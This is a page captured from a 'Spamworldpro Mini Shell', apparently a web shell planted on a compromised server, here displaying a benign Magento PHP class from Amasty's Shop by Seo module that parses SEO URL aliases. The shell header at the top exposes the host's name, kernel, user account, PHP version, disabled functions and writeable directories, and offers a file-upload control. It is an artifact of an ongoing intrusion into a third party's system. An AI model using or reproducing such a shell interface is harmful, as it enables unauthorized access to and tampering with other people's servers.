Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/amasty/shopby-seo/Model/UrlParser/Utils/Attribute/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/amasty/shopby-seo/Model/UrlParser/Utils/Attribute/DefaultAliasParser.php
<?php

declare(strict_types=1);

/**
 * @author Amasty Team
 * @copyright Copyright (c) Amasty (https://www.amasty.com)
 * @package Shop by Seo for Magento 2 (System)
 */

namespace Amasty\ShopbySeo\Model\UrlParser\Utils\Attribute;

use Amasty\ShopbySeo\Model\SeoOptions;
use Amasty\ShopbySeo\Model\UrlParser\Utils\ParamsUpdater;

class DefaultAliasParser implements ParserInterface
{
    /**
     * @var SeoOptions
     */
    private $seoOptions;

    /**
     * @var ParamsUpdater
     */
    private $paramsUpdater;

    /**
     * @var ParsingResultValidator
     */
    private $resultValidator;

    public function __construct(
        SeoOptions $seoOptions,
        ParamsUpdater $paramsUpdater,
        ParsingResultValidator $resultValidator
    ) {
        $this->seoOptions = $seoOptions;
        $this->paramsUpdater = $paramsUpdater;
        $this->resultValidator = $resultValidator;
    }

    /**
     * Parse prepared aliases and update request
     *
     * @param array $aliases
     * @param string $seoPart
     * @return array
     */
    public function parse(array $aliases, string $seoPart): array
    {
        $attributeOptionsData = $this->seoOptions->getData();

        $parsedAttributeCodes = [];
        $parsedAliases = [];
        $params = [];
        $currentAttributeCode = '';
        foreach ($aliases as $currentAlias) {
            if (in_array($currentAlias, array_keys($attributeOptionsData))
                && !in_array($currentAlias, $parsedAttributeCodes) // the attribute code can be equal to its value
            ) {
                $currentAttributeCode = $currentAlias;
                $parsedAttributeCodes[] = $currentAttributeCode;
                continue;
            }

            if ($currentAttributeCode) {
                $optionsData = $attributeOptionsData[$currentAttributeCode];
                foreach ($optionsData as $optionId => $optionAlias) {
                    if ($currentAlias === $optionAlias) {
                        $parsedAliases[] = $currentAlias;
                        $this->paramsUpdater->update($params, $currentAttributeCode, (string) $optionId);
                    }
                }
            }
        }

        return $this->resultValidator->validate($seoPart, $parsedAttributeCodes, $parsedAliases) ? $params : [];
    }
}

Spamworldpro Mini